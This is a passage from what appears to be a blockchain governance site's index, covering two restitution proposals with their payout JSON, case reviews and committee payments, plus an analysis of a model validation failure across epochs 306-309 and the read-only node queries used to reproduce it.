\"amount\": \"14096689777\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10kmsyy00yxnky2xfqy9wce0l7uaadq4jjp3ykg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16028213179615\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12l3fwycgvs9tdpze59za89zq4cexhkxddafxdh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"150749450599\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ljarev2nlzu4ej50vx7ylj2rvg4n20fnq2ysc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"79662604523\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1598sglu00mktw3973jmwsu3vdw29mgcfjleju2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"71065864191\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15fpzwc7d2z3r4y5475p6k7uqknnkj38gsus3d9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15munkmx6x7k6rqqeexjet4556p7at39ks9qgr5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4064625997098\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16xa2sdc8qe2289nzr4e6vmdyzlke8g8fn8e75s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"69342202123\"\n }\n ]\n },\n {\n \"recipient\": \"gonka170wwtpvhwzgghd638z84z35gjggl7cvyzrkh8p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"156696892692\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"923163292052\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19nd876302m3ll2h7sd55hp9pqzv2hpqalh8pjj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1amlmhjym02shahjv8ldmupg4cx0qc66q6f85rj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"217372045879\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ce02jjduga8jvwj8jx39mxn0jr345vgkx7lk2n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1975688510632\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113179188133\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1duuaqdx06sx8v2dzggltwwmqyuw8lvjkjq7xll\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"161268199400\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fvly5jrewyjmjfgwah3khy9rttq4cqajcesv9p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gyk0aahvr3qeju4zx0nplfreej6cy4jjk8svc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"83791459026\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h9asnq9x2kux2m8pcwaeegljzmd4ym4h26p07n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33560566095\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hjjse9r0zfe0q8k4hfe4t5xuzstjqvky7dnj05\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"56561388067\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hmjjq6ghykww8f8ujajnnmu2dpk2drrth8mtva\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11227314154\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j7x6dv42xehe9e5au4ku3wvzwtqlegfjhlvzj6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10262057515369\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jt5mqrx0yg5k6qdqhnkc4kpya4mzy52ngyh34c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19116778155\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lh0danzlvxm5qtaly7myqd3n5sus0fq92n8shx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"182307306602\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mmlyd5xxu5l68yx8wzclrkxkxvm88mhq5tp5s0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3540857046786\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mmwngrtpc4fd4jquv5vfsnscqdzmcz0zgrvy0g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15900304370\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pks9m29wqac2kxdj8v8acq58rjshh6u8y2a772\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"243541684885\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q3n37e2uc4npkheyjllx2ztx5yh42rk6vz3kgn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27431059448\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qx3znmtpxqgmz3t4tgpdk68dsfxuccn6cxnp8s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25489037540\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rcpc45n6zch9qlkn4m3cwngekad89xu8mcr09v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1scskt6wpnjnumsah6kjphmdu87vjgvcxmn4rxv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1531342862912\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t88kkvnrayz5l2u043tccd2pks4rt8y346z9dv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t8jjpaq2m0svru73kh9l0m62e7lr7qxxw6uvea\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u4zxypjgcr8khlzefwjr0vwdaj2uzruw2cehj3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"246274027398\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wt8sr9jxzpec65j7zkxsgh6edk3m6r8nlf5za4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8784035574445\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xy9py6zlxsum2m0z422qwa0um6au7ls4r65ky8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"32043361480\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zktn8j65wlys8a8e38hqhf4y3x6m4x04zskkrx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"578039630382\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"150\"\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13950000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka123pr0p0salv96xvne9qln70x3usvpyscug5f9a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4600000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka16j4zv6723mrnycwn0qgw0j48dr9qecyclxg5jh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10800000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1gmuxdcxlsxn5z72elx77w9zym7yrgfxqgzg6ry\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12300000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1ppn53fu8q3pxvwwf8ycjf3c6nzlugs3hmw6a3q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6200000000000\"\n }\n ]\n }\n]\nThis proposal closes the confirmed GRC3 restitution package, separating committee-confirmed damage into victim restitution and committee work/bounty payments.
"}, {"location": "proposals/proposals/2026-q3/80/full-proposal/#executive-summary", "title": "Executive Summary", "text": "GRC Proposal #3 closes the confirmed GRC3 restitution package and separates two different payment classes:
Payment class Amount Chain representation Committee-confirmed damage before overlap deductions 99773.810455897 GNK Settlement basis, before already-paid P4 deductions Victim restitution after exact P4 overlap deductions 70154.024668251 GNK Settlement basis before chain minimum handling Chain minimum top-up for positive victim outputs below 10 GNK 30.808440219 GNK Added so every positive victim output satisfies the chain transfer minimum Victim chain transfer total 70184.833108470 GNK OneMsgBatchTransferWithVesting message Committee review, investigation, validation, and coordination work 47850.000000000 GNK Five MsgCommunityPoolSpend messages Total proposal spend 118034.833108470 GNK proposal.json The committee/work amount is not an additional victim-damage claim. It is a fixed work and bounty package for case investigation, independent validation, additional review, reconciliation, and proposal coordination.
"}, {"location": "proposals/proposals/2026-q3/80/full-proposal/#final-victim-settlement", "title": "Final Victim Settlement", "text": "The victim settlement uses exact same-address, same-epoch P4 overlap deductions:
final_payout = max(planned_amount - p4_paid_overlap, 0)\nRows where P4 already paid more than the planned amount are floored at zero. Seven positive victim outputs below the chain transfer minimum of 10 GNK are raised to exactly 10 GNK in the chain payload.
"}, {"location": "proposals/proposals/2026-q3/80/full-proposal/#grc-case-review", "title": "GRC Case Review", "text": "Case Decision Final victim payout Case 01: High miss rate / devshard issue Included. Seven rows retained, including the manual-review row. 35109.923355683 GNK Case 02: Settle-drop / negative balance Included after independent review. Broader rule questions deferred to next GRC task cycle. 1075.336150923 GNK Case 03: Failed cPoC / preserved Kimi shortfall Included for epoch 267; epoch 265 extension zeroed by exact P4 overlap. 10262.057515369 GNK Case 04: UpgradeProtectionWindow / cPoC misfire Included with exact P4 overlap deductions applied row by row. 23706.707646276 GNK Case 05: Kimi restitution aggregate, epochs 265-276 Rejected as aggregate compensation. Used only as overlap evidence and bounty-eligible investigation work. GRC acknowledges open questions for deeper review. 0.000000000 GNK"}, {"location": "proposals/proposals/2026-q3/80/full-proposal/#committee-work-package", "title": "Committee Work Package", "text": "The role package compensates completed work across investigation, validation, additional checks, attack review, and coordination.
Metric Value Non-zero role lines 12 Total role/work payout 47850.000000000 GNK Distinct payout addresses 5 Case Investigation / Calculation Validation / Review Coordination Case 01 @Operator investigated high miss-rate / devshard issue @mich validated @Operator coordinated Case 02 @max investigated settle-drop / negative balance @den validated @Operator coordinated Case 03 @mich investigated failed cPoC / Kimi shortfall @den validated @Operator coordinated Case 04 @max investigated UpgradeProtectionWindow / cPoC misfire @Operator validated @Operator coordinated Case 05 @votkon investigated Kimi restitution aggregate @max + @mich paid review @Operator coordinated"}, {"location": "proposals/proposals/2026-q3/80/full-proposal/#chain-payload", "title": "Chain Payload", "text": "The governance payload contains: - One victim vesting batch with 40 positive recipients (7 raised to 10 GNK minimum) - Five committee/work MsgCommunityPoolSpend messages - Deposit, metadata, title, and summary from role config
The verification script checks: - CSV totals against settlement.json - Row-level overlap math with exact 9-decimal ngonka arithmetic - Case totals for Case 01 through Case 04 - Role/work total and final proposal total - Generated proposal artifacts match deterministic rebuild output
"}, {"location": "proposals/proposals/2026-q3/80/full-proposal/#source", "title": "Source", "text": "Full audit trail, payout breakdown, and chain-ready JSON: - GitHub: https://github.com/huxuxuya/GRC-3-result - Dashboard: https://huxuxuya.github.io/GRC-3-result/
"}, {"location": "proposals/proposals/2026-q3/81/", "title": "#81 – Kimi cPoC Restitution (epochs 306-309)", "text": "Rejected
Proposal ID: 81
Type: Batch Transfer With Vesting
Submit: 2026-07-08 05:57 UTC
Voting: 2026-07-08 05:57 UTC → 2026-07-10 05:57 UTC
Proposer: gonka123pr0p0salv96xvne9qln70x3usvpyscug5f9a
Metadata: https://github.com/votkon/gonka-kimi-e306-issue
Failed reason: proposal did not get enough votes to pass
175,082 GNK · Gov ModuleView on gonka.gg
Distribute restitution for Kimi operators affected by cPoC validation failure in epochs 306-309. The Kimi validation path failed starting in e306 causing confirmation_weight suppression for Kimi operators while non-Kimi operators ran normally. Failure worsened in e307 and carried into the e309 bootstrap attempt. Total: 175082.07 GONKA to 19 addresses, vested over 170 days (160 epochs).
"}, {"location": "proposals/proposals/2026-q3/81/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/81/#kimi-cpoc-validation-failure-epochs-306309", "title": "Kimi cPoC Validation Failure, Epochs 306–309", "text": "Field Value Case Kimi operator restitution: cPoC validation failure (e306–e307) + bootstrap carry-over (e309) Epochs affected 306, 307, 309 Affected participants 19 unique addresses Estimated compensation 175,082.07 GONKA Cause The Kimi cPoC validation path failed starting in epoch 306. Validator nodes were unable to vote on submitted Kimi nonces, causingconfirmation_weight to be severely suppressed for Kimi operators while non-Kimi operators ran normally. The issue persisted through e307 and carried into the e309 bootstrap attempt. Can it happen again? Reduced risk — the validation infrastructure was reviewed and a guardian node is explicitly designated for Kimi bootstrap support from e311 onward (per proposal #79). Mitigation / fix Proposal #78 (June 25, 2026) removed Kimi from the active model lineup. Proposal #79 (June 26, 2026, expedited) restored Kimi with weight_scale_factor=0.9 and added zai-org/GLM-5.2-FP8. Epoch 311 is the first clean epoch."}, {"location": "proposals/proposals/2026-q3/81/#overview", "title": "Overview", "text": "Starting in epoch 306, moonshotai/Kimi-K2.6 operators experienced a severe confirmation weight collapse. The Kimi cPoC validation path stopped functioning: other network participants could not vote on Kimi cPoC submissions, so nonces accumulated as \"no vote\" weight rather than approved weight. This drove confirm ratios down to near zero for Kimi operators while all non-Kimi operators continued operating normally at 97–125% confirm ratios.
The chain's reward formula uses confirmation_weight as the measure of confirmed work. Operators whose confirmation weight was suppressed received proportionally less than their earned share of epoch rewards.
E305 (the epoch immediately before) is confirmed clean — Kimi operators had normal confirm ratios across the board. The failure began in e306.
Governance proposal #78 (passed June 25, 2026) removed Kimi from the active model lineup while the issue was diagnosed. Proposal #79 (passed June 26, 2026, expedited, 12h voting window) restored Kimi with revised parameters. The first bootstrap attempt under the restored params was epoch 309, in which Kimi operators again experienced partial confirmation weight suppression — the underlying issue had not been fully resolved. Epoch 311 is the first epoch where Kimi operated cleanly.
"}, {"location": "proposals/proposals/2026-q3/81/#epoch-block-heights", "title": "Epoch Block Heights", "text": "Epoch PoC Start Epoch End Notes 305 4,705,610 4,721,400 Clean baseline — all Kimi operators healthy 306 4,721,001 4,736,791 First failure epoch 307 4,736,392 4,752,182 Failure continues — worsens 308 4,751,783 4,767,573 Kimi removed by prop #78 — no compensation 309 4,767,174 4,782,964 Bootstrap attempt — partial failure 310 4,782,565 4,798,355 Zero Kimi commits — no compensation 311 4,797,956 4,813,746 Bootstrap succeeds — cleanReward formula: 323,000 × e^(−0.000475 × (epoch − 1)) GONKA.
confirmation_weight is initialized at epoch start from a fresh ML-node measurement and can only be lowered by subsequent cPoC min-take events. The diagnostic signal is whether conf_w < weight at epoch end — if so, at least one cPoC event drove a penalty for that node. Non-Kimi operators are shown for comparison.
No systematic conf_w suppression concentrated on Kimi operators. Out of scope.
"}, {"location": "proposals/proposals/2026-q3/81/#epoch-306-first-failure", "title": "Epoch 306 — First failure", "text": "All non-Kimi operators: conf_w ≥ weight (no cPoC penalty). Kimi operators with conf_w < weight (penalized by cPoC events):
gonka1jfv9n2af9y8xgnn6834mnp924vkpucmvchsq8d 9,173 0 Kimi only gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw 29,693 4,724 Kimi + other gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 12,012 2,194 Kimi + other gonka1gvrrhjmy4w4mayvs2s5l23edj8ertcmtd2v4zr 24,062 4,805 Kimi + other gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le 3,885 1,307 Kimi + other gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2 11,768 5,916 Kimi + other gonka1gtdrqh9jpkqxdaskxkpwjpy2q284q8qnvg58uj 9,202 4,814 Kimi only gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np 24,804 17,394 Kimi only gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p 5,841 4,818 Kimi + other gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0 41,468 36,235 Kimi + other Five additional pure-Kimi nodes had conf_w ≥ weight in e306 — no cPoC penalty was applied to them in this epoch. All five collapse to conf_w = 0 in e307 (see investigation section).
gonka1qa90... had weight = 0 in vw (excluded from the group) — omitted.
Screenshot evidence (CPoC #3, block 4,733,605 — within e306): gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw showed weight=29,693, confirm ratio=20.31%, validation NOT PASSED, with 36.2% \"No vote\" weight — validators were unable to vote on this node's Kimi cPoC submissions.
Screenshot evidence (CPoC #3, block 4,733,605 — within e306): gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw showed weight=29,693, confirm ratio=20.31%, validation NOT PASSED, with 36.2% \"No vote\" weight — validators were unable to vote on this node's Kimi cPoC submissions.
Non-Kimi operators: 97–160% confirm ratios. Kimi operators — near-total collapse:
Address weight conf_w ratio excluded from vwgonka1qa90tgczc0k5dvk4l5nvlf5y6phgm6mg22sfjv — — — Yes (commits=15,072) gonka1uhqpup9fev3zahlx6n326lp0krznc6usjtx6lu — — — Yes (commits=10,720) gonka16j7xfk3hvguy5gz95mzg3p5dkuwla7aux03kdw 8,369 0 0.00% gonka1aw77zuy536tufqd56zfq6ev3234u5ftty0zkte 8,407 0 0.00% gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e 8,309 0 0.00% gonka1gtdrqh9jpkqxdaskxkpwjpy2q284q8qnvg58uj 9,381 0 0.00% gonka1skw86pm4dvfhzslu5a9gsc98ahspalge8rprp4 8,249 0 0.00% gonka1ujg4pt8crhxdymnsatalzdj0hhkgfqjmlp9zel 8,389 0 0.00% gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw 28,873 983 3.40% gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2 11,714 1,053 8.99% gonka1gvrrhjmy4w4mayvs2s5l23edj8ertcmtd2v4zr 19,938 4,995 25.05% gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 11,528 5,579 48.40% gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np 16,287 8,908 54.69% gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0 41,105 34,864 84.82% gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p 5,311 4,572 86.09% Three zero-conf operators in e307 with no Kimi commits are excluded from this case: gonka15p7s7... (no commits), gonka1kx9... (MiniMax+Qwen only), gonka1y2a9p5... (MiniMax only) — their failures are independent of the Kimi validation issue.
Non-Kimi operators: 97–100% confirm ratios. Kimi bootstrap operators:
Address weight conf_w ratiogonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 4,921 0 0.00% gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw 14,011 0 0.00% gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 9,205 3,789 41.16% gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p 5,925 4,826 81.45% gonka1kvmerzu64094dt9t62ea0cp75larh39ulzldum 64,193 58,810 91.61% The same Kimi-specific suppression pattern is present. All 5 operators are compensated — including gonka1kvmerzu... (91.61%) which received 36,802.80 GONKA actual vs 40,171.44 GONKA correct, resulting in 3,368.64 GONKA owed.
Determine whether on-chain data confirms that the validation failure originated from the guardian node, identify which other nodes shared the same failure mode, and verify that no nodes were missed by the compensation scope.
"}, {"location": "proposals/proposals/2026-q3/81/#findings", "title": "Findings", "text": "Guardian node is itself a Kimi participant. gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 ran Kimi alongside MiniMax and Qwen (27.8% of its commits were Kimi). Its own confirm ratio collapsed in e306 (0.183) and reached 0 in e307 and e309. This is consistent with a circular failure: the guardian node's Kimi instance degraded, preventing it from producing valid votes on other nodes' Kimi nonces. The guard being both a validator and a Kimi participant means its own weight was suppressed at the same time it lost the ability to validate others. The guardian is included in the compensation scope.
Five pure-Kimi nodes were not penalized in e306 but collapse to zero in e307. confirmation_weight is initialized from a fresh ML-node measurement and lowered only by cPoC min-take. These five nodes ended e306 with conf_w ≥ weight — meaning no cPoC event drove a penalty against their Kimi nonces in e306:
gonka1skw86pm4dvfhzslu5a9gsc98ahspalge8rprp4 8,329 9,052 0 gonka16j7xfk3hvguy5gz95mzg3p5dkuwla7aux03kdw 8,229 8,963 0 gonka1ujg4pt8crhxdymnsatalzdj0hhkgfqjmlp9zel 8,150 9,054 0 gonka1uhqpup9fev3zahlx6n326lp0krznc6usjtx6lu 7,880 9,270 — (excl. from vw) gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e 8,407 9,008 0 All five ran Kimi exclusively. The fact that they escaped e306 unpenalized while other Kimi nodes were heavily suppressed most likely reflects cPoC sub-round assignment — their nonces landed in a validation window where the Kimi path had not yet fully degraded. By e307 the degradation was total and all five show conf_w = 0. This progression confirms a single root cause: the Kimi validation path failed progressively through e306 and reached total collapse in e307.
These five nodes were already included in the e307 compensation scope (as zero-conf Kimi operators). They have no e306 compensation claim since no cPoC penalty was applied to them in that epoch.
Nodes with zero conf_w and no Kimi commits — independent failures. Three nodes in e306 had zero confirmation weight but submitted no Kimi commits:
Address weight models e307 statusgonka17ug06ua2a3hxjuh4punrryl6qzz03sp42u9z9q 1,457 Qwen only not in vw gonka1a3pkge3g33v3zdkq7qmycpjwpulms6ejt8z00f 119 MiniMax only not in vw gonka1u4zxypjgcr8khlzefwjr0vwdaj2uzruw2cehj3 712 Qwen only not in vw These failures are unrelated to the Kimi validation bug. They are excluded from compensation, consistent with the treatment of independent zero-conf operators in previous cases.
Compensation scope is complete. All 10 nodes with Kimi commits and suppressed conf_w in e306 are in the compensation scope. All affected e307 and e309 Kimi nodes are covered. No on-chain evidence of Kimi-affected operators outside the current scope.
"}, {"location": "proposals/proposals/2026-q3/81/#pruning-limitation", "title": "Pruning Limitation", "text": "Detailed per-vote validation records (list-inference-validation-details, poc-validations-for-stage) are pruned by the archive node after 2 epochs (inference_pruning_epoch_threshold: 2). Per-stage conf_w snapshots within e306 are therefore unavailable. The analysis above is based on final epoch-end validation_weights from cached on-chain data, supplemented by the screenshot evidence from cPoC #3 (block 4,733,605) showing \"No vote\" weight suppression in real time.
No delegation penalty compensation is required for any epoch in this case.
In e306 and e307 all affected Kimi operators entered the epoch group (they appear in validation_weights), so their delegators were resolved into ModeDelegate (5% weight transfer to operator) rather than ModeNone (15% penalty). No extra loss was incurred by delegators beyond the normal transfer — verified by querying delegation state for all 38 vw members at the e306 snapshot height (poc_start − 500 = block 4,720,501): 24 addresses held Kimi delegations pointing to operators that entered the epoch, all in ModeDelegate.
The exception would be the 2 operators excluded from e307 vw entirely (gonka1qa90..., gonka1uhq...) — their delegators would have been forced into ModeNone. However, both operators were Kimi-only with no delegators pointing to them in the snapshot (verified on-chain). No delegation compensation is owed.
Delegators' own reward losses are already captured through their own validation_weights entries and the standard compensation formula.
An operator is eligible for compensation if: 1. They submitted Kimi PoC commits in the epoch, and 2. They are in validation_weights with weight > 0 (or excluded from vw entirely but have on-chain commits — applies to 2 operators in e307), and 3. Their confirm ratio was depressed relative to the non-Kimi baseline (operationally: actual_rewards < correct_reward).
Operators with Kimi commits whose confirm ratio was not depressed (≥100%) will produce zero compensation naturally from the formula and are excluded.
For mixed operators (Kimi + other models): the full weight is used as the correct-reward baseline. This compensates for the total reward loss, whether it came from their Kimi work or from their other-model work being dragged down by the Kimi weight component. This is consistent with how the prior case handled operators running multiple models.
The same formula used across all prior restitution cases:
correct_reward = weight / EpochGroupData.total_weight × epoch_reward\ncompensation = max(0, correct_reward − actual_rewards_received)\nFor the 2 operators excluded from validation_weights in e307 (gonka1qa90..., gonka1uhq...): weight is reconstructed from on-chain commit counts × weight_scale_factor.
Weight scale factor for moonshotai/Kimi-K2.6 at e307 poc_start (height 4,736,392): 0.78 (from chain params — v0.2.13 had set this at block 4,267,300).
Proposal #78 removed Kimi and Qwen from PoC params, setting MiniMax as the sole active model. Passed with overwhelming support.
Proposal #79 restored Kimi with weight_scale_factor=0.9 and penalty_start_epoch=310, and added zai-org/GLM-5.2-FP8 with weight_scale_factor=2.47 and penalty_start_epoch=500. Expedited voting (12h) was required so the proposal could conclude before epoch 308 ended, enabling bootstrap into epoch 309. Passed unanimously.
Bootstrap into e309: partial failure (same validation suppression). Bootstrap into e311: succeeded — epoch 311 is the first clean epoch.
"}, {"location": "proposals/proposals/2026-q3/81/#grand-total", "title": "Grand Total", "text": "Epoch Issue Affected Compensation (GONKA) 306 cPoC validation failure 15 53,538.64 307 cPoC validation failure (worsened) 15 99,879.16 309 Bootstrap carry-over 5 21,664.28 TOTAL 19 unique addresses 175,082.07 GONKAPer-address breakdown: aggregate_compensation.json · aggregate_compensation.csv
gonka-kimi-e306/\n├── README.md ← this file\n├── aggregate_compensation.py ← aggregates all epochs into per-address totals\n├── aggregate_compensation.json ← per-address totals (machine-readable)\n├── aggregate_compensation.csv ← per-address totals (spreadsheet)\n├── e306/\n│ ├── calculate_compensation_306.py\n│ ├── compensation_306.csv\n│ └── compensation_306.json\n├── e307/\n│ ├── calculate_compensation_307.py\n│ ├── compensation_307.csv\n│ └── compensation_307.json\n└── e309/\n ├── calculate_compensation_309.py\n ├── compensation_309.csv\n └── compensation_309.json\nRequires the inferenced binary and archive node access. Configure via .env:
ARCHIVE_NODE_URL=http://<archive-node>:26657\nINFERENCED_BINARY=/path/to/inferenced\nThe .env is loaded from ../gonka-segment-report/.env.
python3 e306/calculate_compensation_306.py\npython3 e307/calculate_compensation_307.py\npython3 e309/calculate_compensation_309.py\npython3 aggregate_compensation.py\n## PoC nonce commits for an epoch\ninferenced query inference all-poc-v2-store-commits <poc_start> \\\n --node <ARCHIVE_NODE> --height <epoch_end> -o json\n\n## Epoch group data (validation weights, confirmation weights)\ninferenced query inference show-epoch-group-data <epoch> \\\n --node <ARCHIVE_NODE> --height <epoch_end> -o json\n\n## Per-participant reward summary\ninferenced query inference show-epoch-performance-summary-by-participant \\\n <epoch> <address> --node <ARCHIVE_NODE> -o json\n/inference.streamvesting.MsgBatchTransferWithVesting Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45002842624839\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gvrrhjmy4w4mayvs2s5l23edj8ertcmtd2v4zr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27081229515922\"\n }\n ]\n },\n {\n \"recipient\": \"gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10752097867403\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9348214480985\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gtdrqh9jpkqxdaskxkpwjpy2q284q8qnvg58uj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9007313194119\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7827216214294\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qa90tgczc0k5dvk4l5nvlf5y6phgm6mg22sfjv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7754878837428\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n 